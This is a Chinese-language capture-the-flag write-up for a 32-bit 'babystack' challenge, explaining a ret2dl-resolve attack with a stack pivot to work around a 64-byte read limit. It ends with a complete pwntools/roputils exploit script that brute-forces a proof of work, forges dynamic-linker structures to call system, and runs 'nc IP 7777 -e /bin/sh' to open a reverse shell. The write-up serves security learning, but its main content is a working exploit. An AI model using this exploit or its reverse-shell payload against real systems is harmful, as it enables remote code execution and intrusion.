题目提示信息,信息泄露不再需要栈溢出
检查保护措施,只开启了NX栈不可执行
通过IDA查看,溢出点很明显
通过测试数据,拿到padding的填充长度为44
在这之后思路卡了很久很久!比赛结束才有突破!
ROPgaget查看后并没有很多的可利用gaget,也没有write函数等可以泄露system地址
并且题目也没有给出libc
这里再次看题目信息,提示可以不用栈溢出拿到信息
通关死磕,终于查阅资料得到ret2dl-resolve的思路,可以通过函数动态链接过程,伪造symbol达到执行system的效果
相关资料可以参考以下的文章:
http://www.cnblogs.com/Ox9A82/p/5487275.html
https://zhuanlan.zhihu.com/p/23255727
http://rk700.github.io/2015/08/09/return-to-dl-resolve/
ret2dl-resolve可以使用已有的工具快捷利用:roputils
https://github.com/inaz2/roputils
思路有了,但是这题的read只能输入64字节,而其中padding已经用去了44字节,剩下的空间不够放入payload
因此这题还需要通过减少esp指针,想办法扩大payload空间
其中可以利用的点在
第一次read溢出覆盖ret地址为0x8048446,进行栈布局后再次调用read函数
第二次read中写入ret2dl-resolve的利用payload即可
最终exp:
from pwn import *
import roputils
from hashlib import sha256
p = remote('202.120.7.202',6666)
random = p.recv(16)
print "[*]random"+random
flag=0
print random
for i in range(36,126):
if flag==1:
break
for j in range(36,126):
if flag==1:
break
for k in range(36,126):
if flag==1:
break
for n in range(36,126):
str=chr(i)+chr(j)+chr(k)+chr(n)
if sha256(random+str).digest().startswith('\0\0\0'):
hash=str
print hash
flag=1
break
p.send(hash)
payload = "A"*40
payload += p32(0x804a500)
payload += p32(0x8048446)
payload += p32(80) # exact length of stage 2 payload
payload += "B"*(64-len(payload))
rop = roputils.ROP('./babystack')
addr_bss = rop.section('.bss')
payload += "A"*40
payload += p32(0x804a500)
# Read the fake tabs from payload2 to bss
payload += rop.call("read", 0, addr_bss, 150)
# Call dl_resolve with offset to our fake symbol
payload += rop.dl_resolve_call(addr_bss+60, addr_bss)
# Create fake rel and sym on bss
payload2 = rop.string("nc %s 7777 -e /bin/sh" % "IP")
payload2 += rop.fill(60, payload2) # Align symbol to bss+60
payload2 += rop.dl_resolve_data(addr_bss+60, "system") # Fake r_info / st_name
payload2 += rop.fill(150, payload2)
payload += payload2
payload = payload.ljust(0x100, "\x00")
print len(payload)
p.sendline(payload)
#p.send("A"*44 + flat(rop) + "A"*(256-44-len(flat(rop))))
p.interactive()